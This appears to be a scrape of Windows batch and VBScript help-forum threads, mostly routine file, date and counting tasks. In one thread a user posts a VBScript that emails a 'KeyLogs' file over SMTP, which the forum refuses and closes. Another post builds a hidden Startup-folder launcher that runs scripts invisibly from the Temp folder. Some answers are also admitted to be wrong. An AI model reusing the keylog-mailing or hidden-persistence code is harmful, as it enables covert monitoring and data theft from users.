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Hey, I have began working on a batch RPG and I can't SEEM to find any information on how to make code where it saves where you left off, maybe like a resuming code, but I can't seem to find any INFO on that.It depends entirely on your RPG code - but essentially you can echo each variable into a text file and read the text file when you need to restore the variables.Say you had 3 variables called power, voltage and ENERGY

you could save them like this

if exist save.txt del save.txt
echo power=%power% >> save.txt
echo voltage=%voltage% >> save.txt
echo energy=%energy% >> save.txt

and read them back like this

for /f "delims=" %%A in (save.txt) do set %%A

Good Day

I have a text file with random dates that are formatted like so


, 01 02 94
, 04 06 97
, 23 12 89

etc

I would like a way to have a dos BATCH seach for the dates and replace with the following

,01-02-94
,04-06-97
,23-12-89

There is a space between the , and the first number.
There are also lots of numbers in the text file besides these. So I need to search for the entire 9 or 10 characters. The number are random. The , and spaces are always the same.

I can do it in microsoft word with wild card searches with the following commands

Word
Find
(,)( )([0-9])([0-9])( )([0-9])([0-9])( )([0-9])

Replace
\1\3\4-\6\7-\9


BUt I need to be able to do it with a dos batch for a vbs script in windows.

Thank You
Are the dates always in the same place in each line? Is the text file formatted as CSV? Some examples of full LINES would be helpful.

Do you want every sequence of a COMMA + space + 3 number pairs separated by spaces treated as you have shown e.g. , 01 02 85 to ,01-02-85?


Examples

*Q,08 87,123.90,517, 01 07 98, 139.80,810 12
H,08 87,-123.90,0, 01 07 98, 139.80,810 12
*Q,09 88,34.50,517, 26 09 99, 142.90,710 34
H,09 88,-34.50,0, 26 09 99, 142.90,710 34
*Q,19 88,1232.50,517, 14 09 00, 1142.90,42010 56
H,19 88,-1232.50,0, 14 09 00, 1142.90,42010 56

the file is comma delimited. It is exactly the same amount of comma before the dates. But as you can see sometime it is more or less spaces away from start of line.

Hopes this helps

I would like it to look like

*Q,08 87,123.90,517,01-07-98, 139.80,810 12
H,08 87,-123.90,0,01-07-98, 139.80,810 12
*Q,09 88,34.50,517,26-09-99, 142.90,710 34
H,09 88,-34.50,0,26-09-99, 142.90,710 34
*Q,19 88,1232.50,517,14-09-00, 1142.90,42010 56
H,19 88,-1232.50,0,14-09-00, 1142.90,42010 56The date you wish to reformat is the 5th field in a comma delimited string, therefore.

This looks feasible. However, it is now 22:40 in my time zone, (my bedtime) and I have a job so expect more in 18-20 hours approx. Others may be able to respond before then.



I created a vbs script that can search and display the results

Set objRegEx = CreateObject("VBScript.RegExp")

objRegEx.Global = True
objRegEx.Pattern = ", (\d{2}) (\d{2}) (\d{2})"

strSearchString = "*Q,08 87,123.90,517, 01 07 98, 139.80,810 12"
strNewString = objRegEx.Replace _
(strSearchString, ",$1-$2-$3")

Wscript.Echo strNewString


How do i get this to read every line of a text file and replace it.



File name write.vbs

Const ForReading = 1
Dim objLog, objFile, objHost
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHost = objFSO.OpenTextFile("test.txt", ForReading)
Set objLog = objFSO.OpenTextFile("test2.txt", 2, True)

Set objRegEx = CreateObject("VBScript.RegExp")

objRegEx.Global = True
objRegEx.Pattern = ", (\d{2}) (\d{2}) (\d{2})"

Do Until objHost.AtEndOfStream

strSearchString = objHost.ReadLine
strNewString = objRegEx.Replace _
(strSearchString, ",$1-$2-$3")

Set colMatches = objRegEx.Execute(strSearchString)

If colMatches.Count > 0 Then

For Each strMatch in colMatches

objLog.WriteLine strNewString

Next

End If

Loop

objHost.Close


This will read the first file and write to the second. It does what I need but it deletes any lines that dont have the matching values. Does anyone know how to keep the non matching values also.
This uses a native Windows batch script called Jrepl.bat written by dbenham
http://www.dostips.com/forum/viewtopic.php?f=3&t=6044

Place Jrepl.bat in the same folder as the batch file, or in a folder that is on the SYSTEM path.

There is also copy on Dropbox (unblock it after downloading): https://www.dropbox.com/s/4otci4d4s8x5ni4/Jrepl.bat

Code: [Select]@echo off
call jrepl ", ([0-9][0-9]) ([0-9][0-9]) ([0-9][0-9])," ", $1-$2-$3," /f "file.csv" /o -
pause
Thank You

This works perfectly

@ECHO OFF
@For /F "tokens=2,3,4 delims=/ " %%A in ('DATE /t') do @(
Set Month=%%A
Set Day=%%B
Set Year=%%C
@echo TODAY = %%B/%%A/%%C
)
@echo TODAY =%DAY%/%Month%/%Year%

02/03/2016

FOR /F "tokens=2 delims==" %%A in (C:\Table\location.txt do (
FOR /F "skip=1 tokens=1,7,8,9 delims=," %%S in (C:\Temp\Mylists\%%A.csv) do (
rem Day=%%V Month=%%U Year=%%T
echo %%A,%%S,%%V/%%U/%%T >> C:\Temp\test.csv
))

7/2/2016
1/3/2016

to compare date ( no time) if compare LEQ - less than or equal
How do I solve the problem with the leading Zero

ThanksThis will pad a number in a for variable

Code: [Select]if %%z LSS 10 echo 0%%zthanks foxidrive
but...


FOR /F "skip=1 tokens=1,7,8,9 delims=," %%S in (ariel.csv) do (
rem Day=%%V Month=%%U Year=%%T
echo DATE FOME READING FILE - %%V/%%U/%%T

csv file Date I do not have the option to change the file format
7/2/2016

@ if %%V LSS 10 echo 0%%V
@ if %%U LSS 10 echo 0%%U
echo is ok - But I should compare dates for today

I tried if %%U LSS set %%V=0%%V Without success

I have to compare less than or equal And it's still wrong
7/2/2016 LEQ 04/03/2016

frome file i get 7/2/2016
frome system 04/03/2016You need to juggle the dates into yyyymmdd order and that can easily be compared.

Without seeing the DATA it's hard to give code that is suitable.This is the output I get software that I can not change - csv file
When reading the file with the command LINE
date is Without leading Zero

I have to do EXACTLY what you wrote yymmdd
but I do not know how to do that with the command line
Get today's date and the date of the file in the same format



[attachment deleted by admin to conserve space]Test this with your sample data. Line one isn't excluded at this stage.

Code: [Select]@echo off
rem The four lines below will give you reliable YY DD MM YYYY HH Min Sec MS variables in XP Pro and higher.
for /f "tokens=2 delims==" %%a in ('wmic OS Get localdatetime /value') do set "dt=%%a"
set "YY=%dt:~2,2%" & set "YYYY=%dt:~0,4%" & set "MM=%dt:~4,2%" & set "DD=%dt:~6,2%"
set "HH=%dt:~8,2%" & set "Min=%dt:~10,2%" & set "Sec=%dt:~12,2%" & set "MS=%dt:~15,3%"
set "datestamp=%YYYY%%MM%%DD%"

setlocal enabledelayedexpansion
for /f "usebackq tokens=4,5,6,9,10,11 delims=," %%a in ("c:\folder\file.csv") do (
if %%a LSS 10 (set day1=0%%a) else (day1=%%a)
if %%b LSS 10 (set mon1=0%%b) else (mon1=%%b)
set year1=%%c

if %%d LSS 10 (set day2=0%%d) else (day2=%%d)
if %%e LSS 10 (set mon2=0%%e) else (mon2=%%e)
set year2=%%f

echo Today is %datestamp%
echo term 1 is !year1!!mon1!!day1!
echo term 2 is !year2!!mon2!!day2!
)
pause

Hello All,

I am hoping someone can HELP me out.

I am trying to sort out how to create a .BAT file to automate the folder creation according to a PART of a filename (excluding a certain word), move files to that newly created folder, and then append the date modified to the end of the files within the new folder.

For example:

UserName.PST
UserName-Archive.PST
DifferentUser.PST
DifferentUser-Archive.PST

The .BAT file should create a folder according to the *username but excludes creating a folder for the PST file with "-Archive" within the filename. So in the above scenario, I would end up with a "UserName" folder, as well as a "DifferentUser" folder.
The files would then be moved to the appropriate folder.
After the move, all files within that folder would then have the date appended to the end of the file.

Below is the command I have been working with so far. It works well for users without "-Archive" in the name, but doesn't do as intended when "-Archive" is included in the file name.

Code: [Select]@echo off
for %%a in (*.PST) do (md "%%~Na" && move "%%a" "%%~Na" && ren %%~Na\*.PST ?????????????????????????????????????????????_%date:~-10,2%%date:~-7,2%%date:~-4,4%.PST)
I hope I have given enough information. Please ask if more is required.

Thank you for your assistance.I have found a solution of sorts. I used the below code to do what I needed, however, it appears to add the date twice only to the end of the filenames with "-Archive" in it.
So:

UserName.PST appears as UserName_04042016.PST
UserName-Archive.PST appears as UserName-Archive_04042016_04042016.PST

Code: [Select]@echo off
setlocal enabledelayedexpansion
for %%A in (*.pst) do (
echo file found %%A
for /f "delims=" %%B in ("%%A") do set fname=%%~nB
for /f "delims=" %%C in ("%%A") do set fextn=%%~xC
for /f "tokens=1* delims=-" %%D in ("!fname!") do set folname=%%D
echo folder name !folname!
if not EXIST "!folname!" (
echo Folder !folname! does not exist, creating
md "!folname!"
) else (
echo Folder !folname! EXISTS
)
echo Moving file %%A to folder !folname!
move "%%A" "!folname!"
ren !folname!\*.PST ???????????????????????????????????????????_%date:~-10,2%%date:~-7,2%%date:~-4,4%.PST
)

Now I need assistance to remove the double up of the appended date.

Thank you.All working. I found my mistake regarding the double up of the date being added to files with "-Archive" in the name.
Instead of USING ren "!folname!\*.PST" , I changed it to be ren "!folname!\%%A"

Below is the code I ended up using:

Code: [Select]@echo off
setlocal enabledelayedexpansion
for %%A in (*.PST) do (
echo file found %%A
for /f "delims=" %%B in ("%%A") do set fname=%%~nB
for /f "delims=" %%C in ("%%A") do set fextn=%%~xC
for /f "tokens=1* delims=-" %%D in ("!fname!") do set folname=%%D
echo folder name !folname!
if not exist "!folname!" (
echo Folder !folname! does not exist, creating
md "!folname!"
) else (
echo Folder !folname! exists
)
echo Moving file %%A to folder !folname!
move "%%A" "!folname!"
ren "!folname!\%%A" "?????????????????????????????????_%date:~-10,2%%date:~-7,2%%date:~-4,4%.PST"
)
Quote from: StingerMeGood on April 03, 2016, 09:06:39 PM

move files to that newly created folder, and then append the date modified to the end of the files within the new folder.

Hello i am trying to send a email to myself through vbs script with a file attachment using a code that i found online but i keep getting an error STATING (The "send using" configuration value is invalid). Anyone can explain what im doing wrong and how to fix it?

Option Explicit
Dim objMessage, Email, EPass

Email = "[emailprotected]"
EPass = "********"

Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "KeyLogs"
objMessage.From = Email
objMessage.To = "[emailprotected]"
objMessage.TextBody = "(Time-18:58:06.34)_(User-Jacob)"
objMessage.AddAttachment "C:\Users\Jacob\AppData\Local\Temp\File.log"

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = 2

'Name or IP of Remote SMTP Server
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = "smtp.gmail.com"

objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = 1

'Your UserID on the SMTP server
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = Email

'Your password on the SMTP server
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = EPass

'Server PORT (typically 25)
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = "465"

'Use SSL for the CONNECTION (False or True)
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = True

'Connection Timeout in SECONDS (the maximum time CDO will try to establish a connection to the SMTP server)
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/conf...") = 60

objMessage.Configuration.Fields.Update
objMessage.Send
Set objMessage = Nothing

MsgBox "Message sent"

The links do not work.
Are there any links that do work, i found this online so can i have an example of some working links to replace the original links? I'm not sure if the forum trimmed the Schema URLs, but it makes it impossible to know what any of the schemas being used are.

SendUsing=2 (SMTP over network) appears to require administrator permissions.


One can safely ASSUME that:

Code: [Select]objMessage.Subject = "KeyLogs"
puts it outside the realm of what most people are willing to help with, anyway.Topic Closed.Zask you are already under a Forum watch....i suggest you re-visit and read the Forum Rules again.

Hi EXPERTS,

I want to create the script to take the Backup of weekdays (Mon to Sun)
but in ONE script
like my source is \\backup\Mon to \\Backup\Sun

It should be copy to CURRENT date FOLDER (destination)

Hi all,

Unfortunately the search engine does not allow me to search for ">" and ">>", so I apologize if this is a DUPLICATE post.

I am modifying someone else's BAT and the ">>" style is used for appending to a LOG file.

My issue is that I am not finding any documentation regarding this style and I'm not sure how to interpret lines like the following:

Quote

>>out_log.log 2>&1 copy /Y %1 somefile.txt

Code: [Select]>>out_log.log 2>&1 copy /Y %1 somefile.txt

I have a Batch file that I use to close MULTIPLE programs using 'Taskkill". I use th"/f" option to force the closure, but even so, "Access Denied" is returned. The program I try to close ends just fine manually. I have searched other places with not MUCH help. This automatic closure action is important and needed in this batch file. THANKS for your help.you have to start that batch process as administrative privileges,
though your user might be an administrator, windows restricts access by default on some areas
so if you want to activate admin account : "net user administrator /active:yes" is the command, after that you can log out and loggin into administrator account try running batch script from that account.I DISAGREE with your Sig...Thanks for the suggestion, but I am the Administrator and logged in. The command works fine on all but one application.Quote from: hartlessone on March 16, 2016, 09:06:37 PM

but I am the Administrator and logged in.

Did you actually try to right click on the script and select "run as admin..." ?

Being admin is not the same as it once was - there are restrictions in some cases.

Okay I will make a brief explanation on showing what i'm trying to do. I'm trying to make a program that will start google chrome for me each time
the computer starts.

Okay first I have a simple vbs file that runs a file NAME start.bat invisible.

Set WshShell = CreateObject("WScript.Shell" )
WshShell.Run chr(34) & "%TEMP%\Nigflikr\start.bat" & Chr(34), 0
Set WshShell = Nothing

I'm going to put this vbs file inside the batch file and run it. to do this i have to ignore the "&" character by PLACING the "^" character in front of it.

@echo off
echo @echo off >> "%TEMP%\start.bat"
echo start chrome.exe >> "%TEMP%\start.bat

echo Set WshShell = CreateObject("WScript.Shell" ) >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"
echo WshShell.Run chr(34) ^& "%TEMP%\start.bat" ^& Chr(34), 0 >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"
echo Set WshShell = Nothing >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"


now I was messing with the code, and i would like to ADD more options as well as a menu, was i was wondering if i could also place the file from startup in the temp folder as well.

@echo off
echo @echo off >> "%TEMP%\start.bat"
echo echo start chrome.exe >> "%TEMP%\start.bat
echo @echo off >> "%TEMP%\startup.bat"

echo echo Set WshShell = CreateObject("WScript.Shell" ) ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"
echo echo WshShell.Run chr(34) ^& "%TEMP%\start.bat" ^& Chr(34), 0 ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"
echo echo Set WshShell = Nothing ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"

The only problem is that the out put spits out this code (startup.bat) in the temp folder.

@echo off
echo Set WshShell = CreateObject("WScript.Shell" ) >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"
echo WshShell.Run chr(34) & "%TEMP%\start.bat" & Chr(34), 0 >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"
echo Set WshShell = Nothing >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"

This means that if have to ignore these "&" characters again so i tried this

echo echo Set WshShell = CreateObject("WScript.Shell" ) ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"
echo echo WshShell.Run chr(34) ^^& "%TEMP%\start.bat" ^^& Chr(34), 0 ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"
echo echo Set WshShell = Nothing ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"

cant do that because it CANCELS out the first "^" sign right before the "&" sign, so i tried this

echo echo Set WshShell = CreateObject("WScript.Shell" ) ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"
echo echo WshShell.Run chr(34) ^^^& "%TEMP%\start.bat" ^^^& Chr(34), 0 ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"
echo echo Set WshShell = Nothing ^>^> "%%APPDATA%%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs" >> "%temp%\startup.bat"

still doesn't work.

my goal is to get the output of a batch file in the temp folder named (startup.bat) with this code inside of it.

echo Set WshShell = CreateObject("WScript.Shell" ) >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"
echo WshShell.Run chr(34) ^& "%TEMP%\start.bat" ^& Chr(34), 0 >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"
echo Set WshShell = Nothing >> "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\run.vbs"

i cant do this because the "^" sign is used to ignore the "&" sign and i need to ignore another "^" sign infront of the other "^" sign next to the "&" sign, like this

"^^&"
^
|
ignore this sign

Can anyone help? Thanks, this has been driving me crazy!

Quote from: zask on March 24, 2016, 05:20:50 PM

Okay I will make a brief explanation on showing what i'm trying to do. I'm trying to make a program that will start google chrome for me each time the computer starts.

because i dont want to display the prompt when the batch file starts.

i am being front, all i need to know is how to ignore a ^ sign in front of ^&

This for general reference:

Programs or shortcuts placed in the Startup folder will run whenever Windows starts. Click the Start button , click All Programs, right-click the Startup folder, and then click Open. Open the location that contains the item to which you want to create a shortcut. Right-click the item, and then click Create Shortcut.

Most likely Zask will ignore this simple answer.

Works! :/

Here's an image you can use as an icon, zask.

http://www.educationduepuntozero.it/Risorse/Racconti-ed-esperienze/2010/09/img/clandestini16_big.jpg

Hello
i have HUNDREDS file in directory. i will include filetype to batch code (txt, pdf, xls, ...etc)
but, i wanna use different rename formats.

a) i wanna change file names with time&date format with number (%time%date###) (# mean numerical count, can use ## or ##### types)
example :
my file name :
text1.txt ===> 270320161428001.txt (27 day, 03 month, 2016 year, 14 hour, 28 min, 001 is first number)
helga.xls ===> 270320161428002.xls (27 day, 03 month, 2016 year, 14 hour, 28 min, 002 is number)
named_files.pdf ===> 270320161428003.pdf (27 day, 03 month, 2016 year, 14 hour, 28 min, 003 is number)

or format (%time###%date)
text1.txt ===> 27032016001428.txt
helga.xls ===>270320160021428.xls
named_files.pdf ===> 270320160031428.pdf

doesnt matter filetype on rename, can change random filetype on rename

b) i wanna change file names with formatted nums (#####) (mean will use 5 levels on numbers)
example :
text1.txt ===> 00001.txt
helga.xls ===> 00002.xls
named_files.pdf ===> 00003.pdf

doesnt matter filetype on rename, can change random filetype on rename

c) i wanna change file names with random number (rnd#####) (mean will use 5 level random numbers)
example :
text1.txt ===> 01825.txt
helga.xls ===> 99371.xls
named_files.pdf ===> 60001.pdf

doesnt matter filetype on rename, can use random number in random file types (only important # count)

d) i wanna change file names with word and number (word###, # number level)
example :
text1.txt ===> word001.txt
helga.xls ===> word002.xls
named_files.pdf ===> word003.pdf

or (word#####)

text1.txt ===> word00001.txt
helga.xls ===> word00002.xls
named_files.pdf ===> word00003.pdf

doesnt matter filetype on rename, can change random filetype on rename


and final.
i wanna know old name with new name on log file (into text file, can use log file name RN_Log_file.txt)

batch command MUST insert to text file old & new name to my log file with this format (after renamed per file)

can be log file format :
"oldname|newname|directory_path"
(text1.txt|word001.txt|c:\dir1)
(helga.xls|word002.xls|c:\dir1)
(named_files.pdf|word003.pdf|c:\dir1)

i am using file archive on right mouse menu, adding to reg file

could you help me for different rename formats ?Better File Rename has features like what you require... but its not free. Not sure if you checked into that.

Found this free alternative, but never used it to know if its a solution or not: http://alternativeto.net/software/bulk-rename-utility/Quote from: DaveLembke on March 27, 2016, 06:11:44 AM

Better File Rename has features like what you require... but its not free. Not sure if you checked into that.

Found this free alternative, but never used it to know if its a solution or not: http://alternativeto.net/software/bulk-rename-utility/

text1.txt ===> 270320161428001.txt (27 day, 03 month, 2016 year, 14 hour, 28 min, 001 is first number)
helga.xls ===> 270320161428002.xls (27 day, 03 month, 2016 year, 14 hour, 28 min, 002 is number)
named_files.pdf ===> 270320161428003.pdf (27 day, 03 month, 2016 year, 14 hour, 28 min, 003 is number)

text1.txt ===> 27032016001428.txt
helga.xls ===>270320160021428.xls
named_files.pdf ===> 270320160031428.pdf

text1.txt ===> 00001.txt
helga.xls ===> 00002.xls
named_files.pdf ===> 00003.pdf

text1.txt ===> 01825.txt
helga.xls ===> 99371.xls
named_files.pdf ===> 60001.pdf

text1.txt ===> word001.txt
helga.xls ===> word002.xls
named_files.pdf ===> word003.pdf

text1.txt ===> word00001.txt
helga.xls ===> word00002.xls
named_files.pdf ===> word00003.pdf

Is that you Zask ? ?

"peter's book.txt" "New name for peter's book.txt"
"Cooking with Eagles.xls" "New name for Cooking with Eagles.xls"
"Motorcycle disassembly in 10 minutes.pdf" "New name for Motorcycle disassembly in 10 minutes.pdf"

hello

did you read my example on topic's begin ?

thx ur help for all time

Actually the Batch itself is actually is in a different directory, but the Output is being written to c:\working.

I APPRECIATE all the help you've given me thus far. I might need to be satisfied with the 80/20 rule at this point.Let me try a different idea

Can I strip off the "\" from the "H:\" I get from %cd%?Quote from: tboyerva on March 23, 2016, 09:02:03 AM

cd /d %currdrpth%

I'm seeing an Error that 'H:\' is not recognized as an internal or EXTERNAL command.

hi the following counts all the files in a given folder and passes the value to a log file

ECHO off
SET Count=0
FOR %%A IN (dir\*.*) DO SET /A Count += 1
echo on
ECHO.%Count%>> %srclog%

but what i want to do is do the same but with files up to 30 days old can you help TRIED the following and getting wierd results -

SET cnt=0
for /f %%A in ('dir /a-d-s-h /b ^| find /V /c /d +30 ""') do set /A cnt=%%A
echo.%cnt%>> %srclog%

SET cnt2=0
for %%A in (find . -type f -mtime +30 dir "dir\") do set /A cnt2 += 1
echo.%cnt2%>> %srclog%
SET cnt2=0

SET cnt3=0
for %%A in (forfiles /P "dir" /D +30) do set /A cnt3 += 1
echo.%cnt3%>> %srclog%
SET cnt3=0


thanks in advancePipe the output of robocopy through find, with the /L switch to only list what would be copied.

Robocopy can filter by days. Don't change anything - just run it in the folder you need to count.

Code: [Select]robocopy . c:\magic /maxage:30 /fp /ndl /njh /njs /xx /L |find /c ":">> %srclog%
This portion of yours looks like a Linux command using the find on there, and not Windows.
Code: [Select](find . -type f -mtime +30 dir "dir\")

Hello
i trying to make a SCRIPT to monitor the size folder every hour and cant :
any help will apreciated.

i need something like this:

script one:
1-chek the actual size of the folder and write the size to a txt file.(in a remote pc like: \\pc2\folder1 )

script two
2-read the file size from the txt and compare with the actual folder size , if size was changed - close the script.
if size not changed open url.

why 2 scripts ? because i want to use the windows schedule,.
thank you very much!Here you go.

The first file is named "FileSize.bat"

@echo off
setLocal EnableDelayedExpansion
set /a value=0
set /a sum=0
FOR /R %1 %%I IN (*) DO (
set /a value=%%~zI/1024
set /a sum=!sum!+!value!
)
echo !sum! > Size.txt
pause

The file MAKES a text file named "size.txt"

The second file is name "Compare.bat"

@echo off
setLocal EnableDelayedExpansion
set /a value=0
set /a sum=0
FOR /R %1 %%I IN (*) DO (
set /a value=%%~zI/1024
set /a sum=!sum!+!value!
)

for /f "Delims=" %%A in (%~dp0Size.txt) do (
set SIZE=%%A
)

if %SIZE%==!sum! (
start YOUR_URL__GOES_HERE & pause
) else (
Exit
)

If you DONT wish to DISPLAY the prompt during execution you could add a third file to run the batch file invisibly. This file is named "Invisible.vbs"
don't use the (.bat) extension on this file, only use the (.vbs) extension.

Set WshShell = CreateObject("WScript.Shell" )
WshShell.Run chr(34) & "FileSize.bat" & Chr(34), 0
Set WshShell = Nothing

Place all files in the same directory.
Your welcome

What are some fun THINGS and tricks you can do in command prompt? I feel like having a little fun with the mostly unused feature!

thx

Code: [Select]msg * Hello %username%, I have developed my own consciousness! Have that run on startup Sorry, I'm HORRIBLY boring ATM but.. why not include color 0A an some random binary with just a few human readable lines in between. display the DIR tree of your C:\windows or so in the process. Let it all run for half a minute and then end with paudashlake's message

Should get any non-geek rattled at boot time.

(edit)
*censored*, now I caught myself trying. Problem is i don't know how to efficiently create random binary lines without typing them manually in the code firstCode: [Select]@echo off
:1
cls
color c0
color 00
color 10
color 20
color 30
color 40
color 50
color 60
color 70
color 80
color 90
color a0
color b0
color c0
color d0
color e0
color f0
goto :1This looks PRETTY cool.Is it possible to run a batch file full screen? I have tried the most horrible way imaginable to do so which was running it with a VBS script followed by an alt-enter sendkeys but.. it didn't even work.
would be cool to have such a startup script run fullscreen immediately
Also, the tree command gives some nice confusing OUTPUT to the non geek, is there a way to make it change color like your code WHILE it runs?Quote

is there a way to make it change color like your code WHILE it runs?

Is it possible to run a batch file full screen? I

Oh sweet, I kinda assumed that wouldn't work for the command shell :S

Hi All,

Thanks for all your help in the past... Question: I want to count how many times a number is in a TEXT file then have it piped into another file.

Example: If it sees "016501" total the number of times and pipe it to another file.

Thanks again
Kenwhat exactly does the text file look like?

FBI have a batch file that looks at bigfile.txt that contains info like the following.

08-00417783,TX,75211,,,,,51B-X-Mapsco Page-Zone 016501-
08-00417783,TX,75211,,,,,51B-X-Mapsco Page-Zone 013512-
08-00417783,TX,75211,,,,,51B-X-Mapsco Page-Zone 016501-

Lines I have in my batch file
TYPE "bigfile.txt" | find "016501" >> "Master.txt"
type "bigfile.txt" | find "013512" >> "Master.txt"

I am trying to count how many times 016501 is in the file then pipe it into the bottom of the page of Master.txt. I would USE the same code for other numbers like 013512 etc... Thanks for the replyYou can use the FIND command to count. Something like:

Code: [Select]find /C "016501" "bigfile.txt" >> "Master.txt"
Or depending on the size and format of the files, you might be able make the count faster by just counting Master.txt instead of Bigfile.txt.
08-00417783,TX,75211,,,,,51B-X-Mapsco Page-Zone 016501-
08-00417783,TX,75211,,,,,51B-X-Mapsco Page-Zone 013512-
08-00417783,TX,75211,,,,,51B-X-Mapsco Page-Zone 016501-

So are you saying that, when it appears in a line, the 6 characters 016501 will only appear after Page-Zone, never at the beginning as part of the section that starts 08- ?

Thank you all for your help... This is the right direction I need.

This is the result I am getting using the line of code:
find /C "016501" "bigfile.txt" >> "count.txt"
find /C "013512" "bigfile.txt" >> "count.txt"

---------- BIGFILE.TXT: 21

---------- BIGFILE.TXT: 45

Is there a way to rename the following lines "---------- BIGFILE.TXT: 21" etc.. To "Number found for 016501 is: 21" ?.

Thanks for your help
KenQuote from: ktrueb on September 06, 2008, 11:57:55 AM

Is there a way to rename the following lines "---------- BIGFILE.TXT: 21" etc.. To "Number found for 016501 is: 21" ?.

That worked like a charm... Although I don't fully understand how that line works but I am gaining knowledge everyday from this website and your help...

for /f "tokens=2 delims=:" %%a in ('find.exe /C "016501" "bigfile.txt"') do (
echo Number found for 016501 is %%a >> "count.txt"
)

• FOR /f means "do a loop for each line of output in the command enclosed in ('')"
• The "tokens=2 delims=:" means use the colon ":" character as the delimiter to break up a delimited line, and tokens=2 part means use the 2nd part of the delimited line. So in your case the output "---------- BIGFILE.TXT: 45" would be broken up by the delimiter of the colon so you would end up with 2 sections. Section 1 would be "---------- BIGFILE.TXT" and section 2 would be " 45" (with the colon in the middle).
• The %%a is the variable where the FOR loop will store the output
• The ('find.exe /C "016501" "bigfile.txt"') is the command the FOR loop will run
• Then then last line just outputs the information we have broken up with the tokens and delimiters

thankx "ghostdog74" i'll fine out the error and i'll tell you Code: [Select]IF "%1" == "" S:\AISHA\MSG *.TXT GOTO SER_DATE
This line is nonsense.

Also, if SER_DATE is a label, it should start with a colon.

Code: [Select]C:\IN> cscript /nologo script.vbs
Why is C:\IN> at the beginning? This will not work.

Code: [Select]REM Execute the MS-DOS dir COMMAND ever 60 MIN.

SLP
SLEEP 60
GOTO START
What is SLP? A label? a program? Why is it there?

Execute the dir command? Where? How?


hi Dias de verano ,

the FIRST code

Code: [Select]IF "%1" == "" S:\AISHA\MSG *.TXT GOTO SER_DATEit will go to aisha file in S drive and search only for text FILES. then it will go to ser_date command.

Code: [Select]C:\IN> cscript /nologo script.vbs
C:\IN is the name of the folder where i kept my script.vbs

Code: [Select]REM Execute the MS-DOS dir command ever 60 MIN.

SLP
SLEEP 60
GOTO START

SLP is the name of the command if the previous code execute perfectly then it will go to SLP to sleep for 60 min then it eill go to start to start again..


am i doing somthing wrong ?

thankx for ur helps guys..
Code: [Select]N=Now
Set objFSO = CreateObject("Scripting.FileSystemObject")
strFolder=" S:\out"
strNewDest = "C:\IN"
Set objFolder = objFSO.GetFolder(strFolder)
For Each strFiles In objFolder.Files
If DateDiff("d",N, strFiles.DateLastModified) >1 Then
'objFSO.MoveFile strFiles , strNewDest & "\" & strFiles.Name
Wscript.Echo strFiles.Name
End If
Next


i tried this VBS code .. it gave an error in the fifth line and the error is (path not found )?!

the one is calculated as one day how can i convert it to min. ?

thanks in advanceQuote

strFolder=" S:\out"

the one is calculated as one day how can i convert it to min. ?

hia can any one help i have a hard drive just for music does any one know what the dos comand is soo i can print what is on my hard drive to make a list of my music thanksI havn't tried this, but i think this should do it:
Code: [Select]/d:[device] [name of hard drive]*.*
Example:
Code: [Select]/d:lexmark 005col D:/*.*Should work!You can use the dir command to good effect. CD to the folder you want to list and type dir /o /b >path:\myfile.ext where path:\myfile.ext is the path and filename where you want your listing stored, eg dir /o /b >c:\songs1.txt

The /o and /b SWITCHES will PRESENT an ordered and BARE list. The > symbol will redirect output from screen to a location of your choice, in this case, a file.

Open the file in NOTEPAD, select Edit>Replace and replace .mp3 or whatever your EXTENSIONS are with nothing.Wow, the oldest topic I posted in. And I was dead-wrong. this was a loooooooong time ago.

Say on my SERVER I have a file NAMED:
Connections.txt
Say for instance the address was:
http://runetown.007gb.com/Connections.txt

How would I modify this code to load that file.

Code: [Select]@echo off
title Server Connection RUN Test
:connect
cls
set /P online=<Connections.txt
set /a online=%online%+1
::-----------------------------------------------------------------------
echo Players Online At This Exact Moment: %online%
set /a online=%online%-1
echo %online% >Connections.txt
pause >nul
you're using two variables with the same name 'online' you need to change that. And for getting files from a server you need to use FTP (File Transfer Protocol) try Code: [Select]ftp /?
FBftp /? says unknown host.
But thank you.lol did you put it in a batch file? i meant TYPE it at the command prompt. check out this walkthough:

http://www.demon.net/helpdesk/technicallibrary/sdu/ftp/dosftp.html

FBHeya Jacob! Is this for the game? I did it through cmd.
and yes it is carbon

Say I have a text file like so:
Code: [Select]acc1 password1 0
acc2 password2 1
acc3 password3 0
Where the acc# is the account name.
